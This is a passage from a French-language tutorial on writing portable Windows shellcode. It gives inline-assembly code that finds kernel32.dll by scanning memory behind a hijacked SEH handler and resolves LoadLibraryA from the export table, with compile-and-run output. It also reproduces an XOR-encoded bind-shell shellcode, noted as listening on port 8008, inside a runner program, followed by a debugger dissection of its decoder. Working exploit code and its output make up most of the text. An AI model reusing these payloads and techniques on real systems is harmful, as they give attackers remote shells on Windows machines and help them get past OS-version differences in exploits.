le pattern 'MZ' || ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ | |--> si pattern introuvable --> [adresse] = [adresse] - 0x1000 | aller sur boucle | |--> si pattern trouver ------> comparer [adresse] avec toutes les adresses du tableau [ImageBase] |-> si [adresse] est dans [ImageBase] aller sur kernelFound |-> si [adresse] n'est pas dans [ImageBase] aller sur boucle kernelFound : -> afficher la valeur de l'adresse contenant le pattern - tout cela marche très bien en théorie, mais dans la pratique ? N'oubliez pas que nous sommes dans un environnement ou la Virtual Memory est protégée, et un processus qui s'amuse à aller lire un peu partout dans la mémoire se verra très vite faire l'objet d'une erreur de violation d'accès ! (0xC0000005) alors comment faire pour éviter que notre programme ne soit tué par une erreur d'exception ? Il va falloir descendre encore d'un cran, en manipulant la SEH (Structure Exception Handler) dont les prototypes sont définis dans l'en-tête EXCPT.H pour ceux qui débarqueraient dans le monde fabuleux du Win32 Low Level, la SEH est une structure definie pour chaque processus à fs:[0] définissant comment réagir en cas d'erreur d'exception. il nous suffira de la formater de facon à ce que windows jump sur notre portion de code lors d'une erreur, et celle ci s'occupera de tout remettre en place, puis de passer à la suite du scan. Ni vue, ni connue :) voici concrètement comment mettre ca en place ======================================= generic0.c ============================================== /* * Retrouve l'ImageBase de kernel32.dll */ #include void main () { int addr; __asm { jmp start // cette fonction intercepte une erreur d'exeption (genre 0xC0000005 Violation d'acces) keutoom : add esp, 936 // on remet le stack pointeur en position initial pop edx // recupere l'adressse memoire ayant causé l'exeption pop ebx // recupere la SEH original pop ebp pop ebp // recupere le pointeur de base mov fs:[0], ebx // @SEH_RemoveFrame jmp go start : mov dx,0xBFFF // on commence le scan a l'adresse la plus haute shl edx, 16 // on rol pour eviter les null bytes // formatage du tableau d'adresse de base sur le stack // on travail en word pour eviter les null bytes mov ebp, esp push 0x77E0 // - NT/W2k push 0x77E8 // - NT/W2k push 0x77E7 // - NT/W2k push 0x77ED // - NT/W2k push 0x77F0 // - NT/W2k push 0xBFF7 // - 95/98 push 0x77E6 // - XP home push 0xBFF6 // - Me go : // un detail de la macro @SEH_SetupFrame push ebp // sauvegarde le pointeur de base (reference pour ImageBase) push offset keutoom // Adresse de la fonction appeller en cas d'exeption push FS:[0] // sauvegarde l'adresse du SEH original mov FS:[0],ESP // Install notre EXCEPTION_REGISTRATION boucle: sub edx, 10000h // scan sur 10 pages (oui, je sais, null bytes, mais c'est un code de demo) push edx // sauvegarde l'adresse courante en cas de violation d'acces cmp word ptr[edx], 0x5a4d // comparaison au pattern 'MZ' pop edx // restore l'adresse jne boucle // if (pattern != 'MZ') goto boucle mov ecx, 8 // 8 Adresses de bases a comparer mov edi, ebp // récupère ebp pour manipulation Kernel_search : mov ebx, edx // récupère l'adresse pour un rol (anti null byte) shr ebx,16 // décalage de 16 bits (2 octets) sub edi,4 // pointe sur la première adresse du tableau de comparaison cmp bx, word ptr [edi] // compare je end // si egal, ok, c'est la bonne adresse loop Kernel_search // do { goto Kernel_search } while (ecx) jmp boucle // recommence le scan de pattern si pas bon end : mov [addr],edx } printf ("Adresse de kernel32.dll = 0x%x\n",addr); exit (0); } ========================================== EOF =============================================== E:\code\SP>ver Microsoft Windows 2000 [Version 5.00.2195] E:\code\SP>cl generic0.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86 Copyright (C) Microsoft Corp 1984-1998. All rights reserved. generic0.c Microsoft (R) Incremental Linker Version 6.00.8168 Copyright (C) Microsoft Corp 1992-1998. All rights reserved. /out:generic0.exe generic0.obj E:\code\SP>generic0 Adresse de kernel32.dll = 0x77e70000 E:\code\SP> - Très bien ! Maintenant que nous avons réussi à recuperer l'adresse de base, étudions comment récupérer les adresses des fonctions exportées. notre démarche va tout simplement consister à aller se balader dans le PE (Portable Executable) de kernel32.dll à la recherche de ces precieuses informations. Si vous n'êtes pas au point sur le PE, les tableaux ci dessous on été tirés du texte suivant : http://www.devhell.org/~rix/me/texts/windows.txt N'hésitez pas à aller le consulter pour plus de details. ---- Copy/Past ----- Header MZ: OFFSET BYTES CONTENU +------+-----+---------------------------------------------------------------- | +00 | 2 | signature 'MZ'= 4Dh 5Ah +------+-----+---------------------------------------------------------------- | +02 | 2 | nombre bytes dernière page du fichier (1 page=512 bytes) +------+-----+---------------------------------------------------------------- | +04 | 2 | nombre pages du fichier +------+-----+---------------------------------------------------------------- | +06 | 2 | nombre de relocations DOS +------+-----+---------------------------------------------------------------- | +08 | 2 | taille du header en paragraphes (1 paragraphe=16 bytes) +------+-----+---------------------------------------------------------------- | +0A | 2 | nombre minimum de paragraphes à ajouter en fin de mémoire +------+-----+---------------------------------------------------------------- | +0C | 2 | nombre maximum de paragraphes à ajouter en fin de mémoire +------+-----+---------------------------------------------------------------- | +0E | 2 | SS (nécessite une relocation DOS) +------+-----+---------------------------------------------------------------- | +10 | 2 | SP +------+-----+---------------------------------------------------------------- | +12 | 2 | checksum +------+-----+---------------------------------------------------------------- | +14 | 2 | IP +------+-----+---------------------------------------------------------------- | +16 | 2 | CS (nécessite une relocation DOS) +------+-----+---------------------------------------------------------------- | +18 | 2 | offset table des relocations (40h => fichier PE) +------+-----+---------------------------------------------------------------- | +1A | 2 | numéro d'overlay +------+-----+---------------------------------------------------------------- | +1C | 4 | RESERVE +------+-----+---------------------------------------------------------------- | +20 | 2 | RESERVE +------+-----+---------------------------------------------------------------- | +22 | 26 | RESERVE +------+-----+---------------------------------------------------------------- | +3C | 4 | offset du nouveau header PE ou 0 +------+-----+---------------------------------------------------------------- Header PE: +------+-----+---------------------------------------------------------------- | +00 | 4 | signature 'PE..' (= 50h 45h 00h 00h) +------+-----+---------------------------------------------------------------- | +04 | 2 | CPU requis: 0=inconnu,14Ch=386,14Dh=486,14Eh=pentium,... +------+-----+---------------------------------------------------------------- | +06 | 2 | nombre de sections +------+-----+---------------------------------------------------------------- | +08 | 4 | date et heure +------+-----+---------------------------------------------------------------- | +0C | 4 | offset d'une table des symboles (pour debuggers) ou 0 +------+-----+---------------------------------------------------------------- | +10 | 4 | nombre de symboles (pour debuggers) +------+-----+---------------------------------------------------------------- | +14 | 2 | taille du header optionnel (habituellement 0Eh) +------+-----+---------------------------------------------------------------- | +16 | 2 | flags selon chaque bit: | | | bit 0: pas d'information de relocation | | | bit 1: 1=exécutable,0=objet/librairie | | | bit 2: RESERVE objet/librairie | | | bit 3: RESERVE objet/librairie | | | bit 4: 1=besoin de RAM | | | bit 8: 1=nécessite 32 bits | | | bit 9: 1=pas d'information de debugging | | | bit 10: 1=ne pas exécuter d'une disquette ou disque amovible | | | bit 11: 1=ne pas exécuter d'un réseau | | | bit 12: 1=fichier système | | | bit 13: 1=DLL | | | bit 14: 1=nécessite uniquement un CPU +------+-----+---------------------------------------------------------------- | +18 | 2 | signature 0Bh 01h +------+-----+---------------------------------------------------------------- | +1A | 1 | version majeure du Linker ou 0 +------+-----+---------------------------------------------------------------- | +1B | 1 | version mineure du Linker ou 0 +------+-----+---------------------------------------------------------------- | +1C | 4 | taille du code (.code) +++ +------+-----+---------------------------------------------------------------- | +20 | 4 | taille des données initialisées (.data,.rdata) +------+-----+---------------------------------------------------------------- | +24 | 4 | taille des données non initialisées (.bss) +------+-----+---------------------------------------------------------------- | +28 | 4 | EIP initial +------+-----+---------------------------------------------------------------- | +2C | 4 | adresse de base du code dans la mémoire du process +------+-----+---------------------------------------------------------------- | +30 | 4 | adresse de base des données dans la mémoire du process +------+-----+---------------------------------------------------------------- | +34 | 4 | adresse de base de l'image dans la mémoire du process | | | (habituellement 00400000h). Si Windows peut charger le | | | programme à cette adresse (habituellement), il n'y aura pas de | | | relocation. +------+-----+---------------------------------------------------------------- | +38 | 4 | alignement de l'objet +------+-----+---------------------------------------------------------------- | +3C | 4 | alignement du fichier (souvent 1000h=4096d) +------+-----+---------------------------------------------------------------- | +40 | 2 | version majeure de l'OS requise (habituellement 4) ou 0 +------+-----+---------------------------------------------------------------- | +42 | 2 | version mineure de l'OS requise (habituellement 0) ou 0 +------+-----+---------------------------------------------------------------- | +44 | 2 | version majeure du programme ou 0 +------+-----+---------------------------------------------------------------- | +46 | 2 | version mineure du programme ou 0 +------+-----+---------------------------------------------------------------- | +48 | 2 | version majeure du Subsystem requise (habituellement 4) +------+-----+---------------------------------------------------------------- | +4A | 2 | version mineure du Subsystem requise (habituellement 0) +------+-----+---------------------------------------------------------------- | +4C | 2 | version majeure de Win32 requise ou 0 +------+-----+---------------------------------------------------------------- | +4E | 2 | version mineure du Win32 requise ou 0 +------+-----+---------------------------------------------------------------- | +50 | 4 | taille du programme (somme des sections) +------+-----+---------------------------------------------------------------- | +54 | 4 | taille de tout les headers +------+-----+---------------------------------------------------------------- | +58 | 4 | checksum (si driver NT) ou 0 +------+-----+---------------------------------------------------------------- | +5C | 2 | Subsystem requis: 1=driver,2=GUI (pas de console), | | | 3=CUI (console),5=OS/2,7=POSIX +------+-----+---------------------------------------------------------------- | +5E | 2 | flags DLL selon chaque bit: | | | bit 0: 1=notification process attachments | | | bit 1: 1=notification thread detachments | | | bit 2: 1=notification thread attachments | | | bit 3: 1=notification process detachments +------+-----+---------------------------------------------------------------- | +60 | 4 | taille reserved stack +------+-----+---------------------------------------------------------------- | +64 | 4 | taille committed stack +------+-----+---------------------------------------------------------------- | +68 | 4 | taille reserved heap +------+-----+---------------------------------------------------------------- | +6C | 4 | taille committed heap +------+-----+---------------------------------------------------------------- | +70 | 4 | flags RESERVE +------+-----+---------------------------------------------------------------- | +74 | 4 | nombre de blocs RVA-tailles (blocs de 8 bytes ci-dessous) +------+-----+---------------------------------------------------------------- | +78 | 4 | RVA Export Table +------+-----+---------------------------------------------------------------- | +7C | 4 | taille Export Table +------+-----+---------------------------------------------------------------- | +80 | 4 | RVA Import Table +------+-----+---------------------------------------------------------------- | +84 | 4 | taille Import Table +------+-----+---------------------------------------------------------------- | +88 | 4 | RVA Ressources +------+-----+---------------------------------------------------------------- | +8C | 4 | taille Ressources +------+-----+---------------------------------------------------------------- | +90 | 4 | RVA Exceptions +------+-----+---------------------------------------------------------------- | +94 | 4 | taille Exceptions +------+-----+---------------------------------------------------------------- | +98 | 4 | RVA Sécurité +------+-----+---------------------------------------------------------------- | +9C | 4 | taille Sécurité +------+-----+---------------------------------------------------------------- | +A0 | 4 | RVA Base Relocation Table +------+-----+---------------------------------------------------------------- | +A4 | 4 | taille Base Relocation Table +------+-----+---------------------------------------------------------------- | +A8 | 4 | RVA Debug +------+-----+---------------------------------------------------------------- | +AC | 4 | taille Debug +------+-----+---------------------------------------------------------------- | +B0 | 4 | RVA Image Description +------+-----+---------------------------------------------------------------- | +B4 | 4 | taille Image Description +------+-----+---------------------------------------------------------------- | +B8 | 4 | RVA Machine Spécifique +------+-----+---------------------------------------------------------------- | +BC | 4 | taille Machine Spécifique +------+-----+---------------------------------------------------------------- | +C0 | 4 | RVA Thread Local Storage +------+-----+---------------------------------------------------------------- | +C4 | 4 | taille Thread Local Storage +------+-----+---------------------------------------------------------------- Header Export Directory: +------+-----+---------------------------------------------------------------- | +00 | 4 | caractéristiques +------+-----+---------------------------------------------------------------- | +04 | 4 | date et heure +------+-----+---------------------------------------------------------------- | +08 | 2 | version majeure +------+-----+---------------------------------------------------------------- | +0A | 2 | version mineure +------+-----+---------------------------------------------------------------- | +0C | 4 | offset dans le fichier du nom d'exportation (nom de la DLL) +------+-----+---------------------------------------------------------------- | +10 | 4 | base +------+-----+---------------------------------------------------------------- | +14 | 4 | nombre de fonctions (<> nombre réel d'exportations) +------+-----+---------------------------------------------------------------- | +18 | 4 | nombre de noms (=nombre réel d'exportations) +------+-----+---------------------------------------------------------------- | +1C | 4 | offset dans le fichier des adresses des fonctions (4 bytes) +------+-----+---------------------------------------------------------------- | +20 | 4 | offset dans le fichier des noms de fonctions (séparés par 00h) +------+-----+---------------------------------------------------------------- | +24 | 4 | offset dans le fichier des ordinaux des fonctions (2 bytes) +------+-----+---------------------------------------------------------------- ---- end ---- ok, tout ceci vas vous permettre de mieux suivre la démarche. Notre adresse de base (0x77e70000) ce situe au niveau du HEADER MZ (rappel : 'MZ' = pattern) nous allons donc rajouter 0x3c afin de connaitre l'offset du nouveau 'header PE', puis nous rajouterons 0x78 a cet offset pour avoir la 'RVA Export Table', qui pointe sur le 'Header Export Directory' jusque la, pas de souci. à partir de maintenant, nous somme en mesure de retrouver l'adresse d'une fonction exportée, en procédant de la manière suivante : -> connaitre le nombre de nom de fonction exporter à +18 -> utiliser ce nombre pour faire une recherche du nom de fonction souhaité au pointeur indiquer par +20 -> utiliser l'indice obtenu pour connaitre l'ordinal de la fonction, placer dans le tableau sur +24 -> extraire l'adresse de la fonction en pointant sur le tableau d'adresses defini par +1C et en utilisant l'ordinal extrait précédement comment indice. l'explication peut parraitre un peut confuse, voici donc ce que cela donne dans la pratique, sachant que ce code est un 'proof of concept' permettant de retrouver l'adresse exporter de LoadLibraryA() ====================================== generic1.c ============================================ /* * Retrouve l'adresse d'une fonction exporté a partir d'une ImageBase de Kernel32.dll * spécifié en argument */ #include void main (int argc, char *argv[]) { int addr, ImageBase; char *apiname="LoadLibraryA", *p; if (!argv[1]) { printf ("usage : %s \n\n" "Exemple : %s 0x77e70000\n",argv[0], argv[0]); exit (0); } ImageBase = strtol (argv[1], &p, 16); __asm { mov eax, ImageBase mov ebx, dword ptr [eax+0x3c] // ebx = IMAGE_DOS_HEADER->e_lfanew add ebx, eax // ebx = PIMAGE_NT_HEADERS mov ebx, dword ptr [ebx+0x78] // ebx = IMAGE_NT_HEADERS->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]->VirtualAddress add ebx, eax // ebx = PIMAGE_EXPORT_DIRECTORY mov esi, dword ptr [ebx+0x1C] add esi, eax // esi = base + expdir->AddressOfFunctions push esi // # functions[] mov esi, dword ptr [ebx+0x24] add esi, eax // esi = base + PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals push esi // # functions[] # ordinals[] mov edx, dword ptr [ebx+0x20] add edx, eax // edx = base + expdir->AddressOfNames mov ebx, dword ptr [ebx+0x18] // i = PIMAGE_EXPORT_DIRECTORY->NumberOfNames dec ebx // i-- search_func: push 12 pop ecx // ecx = strlen ("LoadLibraryA") mov esi, dword ptr [edx+4*ebx] add esi, eax // esi = names[i] mov edi, apiname cld // indique que esi et edi seront incrementés repe cmpsb je get_func_address; // if (memcmp(names[i], apiname, 12) == 0) dec ebx // ebx-- and ebx, ebx jnz search_func // if (ecx != 0) int 3 // APINAME introuvable get_func_address: pop edi // edi = ordinals[] // # functions[] xor ecx, ecx mov cx, word ptr [edi+2*ebx] // bx = ordinals[i] pop edi // edi = functions[] // # mov edi, dword ptr [edi+4*ecx] // edi = functions[ordinals[i]] // add edi, eax // edi = base + functions[ordinals[i]] // mov eax, edi // eax = func_address lea eax, [edi+eax] mov [addr], eax } printf ("adresse de LoadLibraryA : 0x%x\n",addr); } ========================================== EOF =============================================== E:\code\SP>cl generic1.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86 Copyright (C) Microsoft Corp 1984-1998. All rights reserved. generic1.c Microsoft (R) Incremental Linker Version 6.00.8168 Copyright (C) Microsoft Corp 1992-1998. All rights reserved. /out:generic1.exe generic1.obj E:\code\SP>generic1 usage : generic1 Exemple : generic1 0x77e70000 E:\code\SP>generic1 0x77e70000 adresse de LoadLibraryA : 0x77e7a254 E:\code\SP> - voila, une fois arrivé à ce point, la conception devient équivalente à celle d'un shellcode statique. l'avantage de cette technique est de pouvoir procéder à une attaque sans ce soucier de l'OS ou du service pack utilisé par la cible, mais les plus assidus remarquerons que la taille d'un tel shellcode laisse quand même à désirer... /************************************************************************************* III. ETUDE DE QUELQUES SOLUTIONS APPORTEES PAR LA COMMUNAUTE " UNDERGROUND MONDIAL " *************************************************************************************/ Nous allons maintenant étudier quelques shellcodes utilisant une technique un peu différente de tout ce qui a été expliqué en amont. \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ETUDE DU SHELLCODE STATIQUE DE |ZAN. /////////////////////////////////////////////////////////////////////////////////////////// Si vous êtes un développeur d'exploit un peu feignant, il vous est surement arrivé de vouloir trouver un shellcode asser facile à générer/implémenter dans votre code. Heureusement, beaucoup d'outils sont accessibles sur internet, dont notamment le générateur de shellcode statique offert par deepzone à l'adresse suivante : http://www.deepzone.org/olservices/xploitit/ voici notre étude à ce sujet : Ce shellcode est un shellcode statique qui ce base sur les adresses situées dans l' 'Importe Table' du programme à exploiter. le code source complet n'ayant pas été divulgé / commenté, nous avons du reverser celui si pour mieux comprendre son approche. ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Disassembly of File: deepzone.exe Code Offset = 00001000, Code Size = 00003000 Data Offset = 00005000, Data Size = 00001000 +++++++++++++++++++ ASSEMBLY CODE LISTING ++++++++++++++++++ //********************** Start of Code in Object .text ************** Program Entry Point = 00401032 (deepzone.exe File Offset:00005032) [...] * Reference To: KERNEL32.LoadLibraryA, Ord:01C2h | :00402EF0 FF1574404000 Call dword ptr [00404074] <- IT adresse de LoadLibraryA * Reference To: KERNEL32.GetProcAddress, Ord:013Eh | :00402EFC 8B3570404000 mov esi, dword ptr [00404070] <- IT adresse de GetProcAddress [...] +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -- portable NT/2k/XP ShellCode features ... LoadLibraryA IT address 00404074h GetProcAddress IT address 00404070h XOR byte 99h Remote port 8008 Style C --------------------------- ======================================= deepzone.c =========================================== #include void main () { char DeepZone_w32ShellCode [] = "\xcc" // on applique un hardcoded break point pour l'etude du shellcode "\x68\x5e\x56\xc3\x90\x54\x59\xff\xd1\x58\x33\xc9\xb1\x1c" "\x90\x90\x90\x90\x03\xf1\x56\x5f\x33\xc9\x66\xb9\x95\x04" "\x90\x90\x90\xac\x34\x99\xaa\xe2\xfa\x71\x99\x99\x99\x99" "\xc4\x18\x74\x40\xb8\xd9\x99\x14\x2c\x6b\xbd\xd9\x99\x14" "\x24\x63\xbd\xd9\x99\xf3\x9e\x09\x09\x09\x09\xc0\x71\x4b" "\x9b\x99\x99\x14\x2c\xb3\xbc\xd9\x99\x14\x24\xaa\xbc\xd9" "\x99\xf3\x93\x09\x09\x09\x09\xc0\x71\x23\x9b\x99\x99\xf3" "\x99\x14\x2c\x40\xbc\xd9\x99\xcf\x14\x2c\x7c\xbc\xd9\x99" "\xcf\x14\x2c\x70\xbc\xd9\x99\xcf\x66\x0c\xaa\xbc\xd9\x99" "\xf3\x99\x14\x2c\x40\xbc\xd9\x99\xcf\x14\x2c\x74\xbc\xd9" "\x99\xcf\x14\x2c\x68\xbc\xd9\x99\xcf\x66\x0c\xaa\xbc\xd9" "\x99\x5e\x1c\x6c\xbc\xd9\x99\xdd\x99\x99\x99\x14\x2c\x6c" "\xbc\xd9\x99\xcf\x66\x0c\xae\xbc\xd9\x99\x14\x2c\xb4\xbf" "\xd9\x99\x34\xc9\x66\x0c\xca\xbc\xd9\x99\x14\x2c\xa8\xbf" "\xd9\x99\x34\xc9\x66\x0c\xca\xbc\xd9\x99\x14\x2c\x68\xbc" "\xd9\x99\x14\x24\xb4\xbf\xd9\x99\x3c\x14\x2c\x7c\xbc\xd9" "\x99\x34\x14\x24\xa8\xbf\xd9\x99\x32\x14\x24\xac\xbf\xd9" "\x99\x32\x5e\x1c\xbc\xbf\xd9\x99\x99\x99\x99\x99\x5e\x1c" "\xb8\xbf\xd9\x99\x98\x98\x99\x99\x14\x2c\xa0\xbf\xd9\x99" "\xcf\x14\x2c\x6c\xbc\xd9\x99\xcf\xf3\x99\xf3\x99\xf3\x89" "\xf3\x98\xf3\x99\xf3\x99\x14\x2c\xd0\xbf\xd9\x99\xcf\xf3" "\x99\x66\x0c\xa2\xbc\xd9\x99\xf1\x99\xb9\x99\x99\x09\xf1" "\x99\x9b\x99\x99\x66\x0c\xda\xbc\xd9\x99\x10\x1c\xc8\xbf" "\xd9\x99\xaa\x59\xc9\xd9\xc9\xd9\xc9\x66\x0c\x63\xbd\xd9" "\x99\xc9\xc2\xf3\x89\x14\x2c\x50\xbc\xd9\x99\xcf\xca\x66" "\x0c\x67\xbd\xd9\x99\xf3\x9a\xca\x66\x0c\x9b\xbc\xd9\x99" "\x14\x2c\xcc\xbf\xd9\x99\xcf\x14\x2c\x50\xbc\xd9\x99\xcf" "\xca\x66\x0c\x9f\xbc\xd9\x99\x14\x24\xc0\xbf\xd9\x99\x32" "\xaa\x59\xc9\x14\x24\xfc\xbf\xd9\x99\xce\xc9\xc9\xc9\x14" "\x2c\x70\xbc\xd9\x99\x34\xc9\x66\x0c\xa6\xbc\xd9\x99\xf3" "\xa9\x66\x0c\xd6\xbc\xd9\x99\x72\xd4\x09\x09\x09\xaa\x59" "\xc9\x14\x24\xfc\xbf\xd9\x99\xce\xc9\xc9\xc9\x14\x2c\x70" "\xbc\xd9\x99\x34\xc9\x66\x0c\xa6\xbc\xd9\x99\xf3\xc9\x66" "\x0c\xd6\xbc\xd9\x99\x1a\x24\xfc\xbf\xd9\x99\x9b\x96\x1b" "\x8e\x98\x99\x99\x18\x24\xfc\xbf\xd9\x99\x98\xb9\x99\x99" "\xeb\x97\x09\x09\x09\x09\x5e\x1c\xfc\xbf\xd9\x99\x99\xb9" "\x99\x99\xf3\x99\x12\x1c\xfc\xbf\xd9\x99\x14\x24\xfc\xbf" "\xd9\x99\xce\xc9\x12\x1c\xc8\xbf\xd9\x99\xc9\x14\x2c\x70" "\xbc\xd9\x99\x34\xc9\x66\x0c\xde\xbc\xd9\x99\xf3\xc9\x66" "\x0c\xd6\xbc\xd9\x99\x12\x1c\xfc\xbf\xd9\x99\xf3\x99\xc9" "\x14\x2c\xc8\xbf\xd9\x99\x34\xc9\x14\x2c\xc0\xbf\xd9\x99" "\x34\xc9\x66\x0c\x93\xbc\xd9\x99\xf3\x99\x14\x24\xfc\xbf" "\xd9\x99\xce\xf3\x99\xf3\x99\xf3\x99\x14\x2c\x70\xbc\xd9" "\x99\x34\xc9\x66\x0c\xa6\xbc\xd9\x99\xf3\xc9\x66\x0c\xd6" "\xbc\xd9\x99\xaa\x50\xa0\x14\xfc\xbf\xd9\x99\x96\x1e\xfe" "\x66\x66\x66\xf3\x99\xf1\x99\xb9\x99\x99\x09\x14\x2c\xc8" "\xbf\xd9\x99\x34\xc9\x14\x2c\xc0\xbf\xd9\x99\x34\xc9\x66" "\x0c\x97\xbc\xd9\x99\x10\x1c\xf8\xbf\xd9\x99\xf3\x99\x14" "\x24\xfc\xbf\xd9\x99\xce\xc9\x14\x2c\xc8\xbf\xd9\x99\x34" "\xc9\x14\x2c\x74\xbc\xd9\x99\x34\xc9\x66\x0c\xd2\xbc\xd9" "\x99\xf3\xc9\x66\x0c\xd6\xbc\xd9\x99\xf3\x99\x12\x1c\xf8" "\xbf\xd9\x99\x14\x24\xfc\xbf\xd9\x99\xce\xc9\x12\x1c\xc8" "\xbf\xd9\x99\xc9\x14\x2c\x70\xbc\xd9\x99\x34\xc9\x66\x0c" "\xde\xbc\xd9\x99\xf3\xc9\x66\x0c\xd6\xbc\xd9\x99\x70\x20" "\x67\x66\x66\x14\x2c\xc0\xbf\xd9\x99\x34\xc9\x66\x0c\x8b" "\xbc\xd9\x99\x14\x2c\xc4\xbf\xd9\x99\x34\xc9\x66\x0c\x8b" "\xbc\xd9\x99\xf3\x99\x66\x0c\xce\xbc\xd9\x99\xc8\xcf\xf1" "\xcd\x3b\x7e\xee\x09\xc3\x66\x8b\xc9\xc2\xc0\xce\xc7\xc8" "\xcf\xca\xf1\x58\x03\x7e\xee\x09\xc3\x66\x8b\xc9\x35\x1d" "\x59\xec\x62\xc1\x32\xc0\x7b\x70\x5a\xce\xca\xd6\xda\xd2" "\xaa\xab\x99\xea\xf6\xfa\xf2\xfc\xed\x99\xfb\xf0\xf7\xfd" "\x99\xf5\xf0\xea\xed\xfc\xf7\x99\xf8\xfa\xfa\xfc\xe9\xed" "\x99\xea\xfc\xf7\xfd\x99\xeb\xfc\xfa\xef\x99\xfa\xf5\xf6" "\xea\xfc\xea\xf6\xfa\xf2\xfc\xed\x99\xd2\xdc\xcb\xd7\xdc" "\xd5\xaa\xab\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xf0\xe9\xfc" "\x99\xde\xfc\xed\xca\xed\xf8\xeb\xed\xec\xe9\xd0\xf7\xff" "\xf6\xd8\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xeb\xf6\xfa\xfc" "\xea\xea\xd8\x99\xc9\xfc\xfc\xf2\xd7\xf8\xf4\xfc\xfd\xc9" "\xf0\xe9\xfc\x99\xde\xf5\xf6\xfb\xf8\xf5\xd8\xf5\xf5\xf6" "\xfa\x99\xcb\xfc\xf8\xfd\xdf\xf0\xf5\xfc\x99\xce\xeb\xf0" "\xed\xfc\xdf\xf0\xf5\xfc\x99\xca\xf5\xfc\xfc\xe9\x99\xda" "\xf5\xf6\xea\xfc\xd1\xf8\xf7\xfd\xf5\xfc\x99\xdc\xe1\xf0" "\xed\xc9\xeb\xf6\xfa\xfc\xea\xea\x99\xda\xf6\xfd\xfc\xfd" "\xb9\xfb\xe0\xb9\xe5\xc3\xf8\xf7\xb9\xa5\xf0\xe3\xf8\xf7" "\xd9\xfd\xfc\xfc\xe9\xe3\xf6\xf7\xfc\xb7\xf6\xeb\xfe\xa7" "\x9b\x99\x86\xd1\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x95\x99\x99\x99\x99\x99\x99\x99\x98\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\xda\xd4\xdd\xb7\xdc\xc1\xdc\x99\x99\x99\x99\x99" "\x89\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x90\x90\x90\x90\x90\x90\x90\x90"; void (*shellcode) () = (void *) DeepZone_w32ShellCode; shellcode (); } ============================================= EOF ============================================= passons à la dissection :) E:\code\SP>cl deepzone.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86 Copyright (C) Microsoft Corp 1984-1998. All rights reserved. deepzone.c Microsoft (R) Incremental Linker Version 6.00.8168 Copyright (C) Microsoft Corp 1992-1998. All rights reserved. /out:deepzone.exe deepzone.obj E:\code\SP>deepzone Module Load: E:\CODE\SP\deepzone.exe (symbol loading deferred) Thread Create: Process=0, Thread=0 Module Load: C:\WINNT\SYSTEM32\ntdll.dll (symbol loading deferred) Module Load: C:\WINNT\SYSTEM32\kernel32.dll (symbol loading deferred) Module Load: C:\WINNT\SYSTEM32\ntdll.dll (could not open symbol file) Module Load: E:\CODE\SP\deepzone.exe (no symbols loaded) Thread Create: Process=0, Thread=1 Hard coded breakpoint hit > 0012FAB8 CC int 3 // hard coded break point // cette technique permet de retrouver l'offset de la partie du shellcode // qui est crypter 0012FAB9 685E56C390 push 90C3565Eh // push des instructions sur le stack /***************************************************************** >u esp 0012FAA8 5E pop esi //qui correspondent a ceci 0012FAA9 56 push esi 0012FAAA C3 ret 0012FAAB 90 nop *******************************************************************/ 0012FABE 54 push esp 0012FABF 59 pop ecx // ecx = 0x12FAA8 0012FAC0 FFD1 call ecx // call ecx 0012FAC2 58 pop eax // eax = 90C3565Eh 0012FAC3 33C9 xor ecx,ecx 0012FAC5 B11C mov cl,1Ch // initialise cl à 28 0012FAC7 90 nop 0012FAC8 90 nop // porcass nop 0012FAC9 90 nop // anti null bytes j'imagine 0012FACA 90 nop 0012FACB 03F1 add esi,ecx // pointe esi au debut du crypted shellcode 0012FACD 56 push esi 0012FACE 5F pop edi // met edi au même niveau que esi 0012FACF 33C9 xor ecx,ecx 0012FAD1 66B99504 mov cx,495h // 1173 bytes à decrypter 0012FAD5 90 nop 0012FAD6 90 nop // hu ? 0012FAD7 90 nop 0012FAD8 AC lods byte ptr [esi] // processus de decryptage xor 0012FAD9 3499 xor al,99h // avec la clé 99h 0012FADB AA stos byte ptr [edi] 0012FADC E2FA loop 0012FAD8 // inutil de faire un dessin // the decrypted shellcode asm source, woohouu start : 0012FADE E800000000 call 0012FAE3 // push offset start 0012FAE3 5D pop ebp // ebp = offset start 0012FAE4 81EDD9214000 sub ebp,4021D9h // paye ton stack 0012FAEA 8DB5F2244000 lea esi,[ebp+4024F2h] // LIB WSOCK32 0012FAF0 8DBDFA244000 lea edi,[ebp+4024FAh] // ptr 1er API_NAME /*************** >dd esi 0x0012FDFC 434f5357 0032334b 6b636f73 62007465 WSOCK32.socket.b 0x0012FE0C 00646e69 7473696c 61006e65 70656363 ind.listen.accep 0x0012FE1C 65730074 7200646e 00766365 736f6c63 t.send.recv.clos 0x0012FE2C 636f7365 0074656b 4e52454b 32334c45 esocket.KERNEL32 0x0012FE3C 65724300 50657461 00657069 53746547 .CreatePipe.GetS 0x0012FE4C 74726174 6e497075 00416f66 61657243 tartupInfoA.Crea 0x0012FE5C 72506574 7365636f 50004173 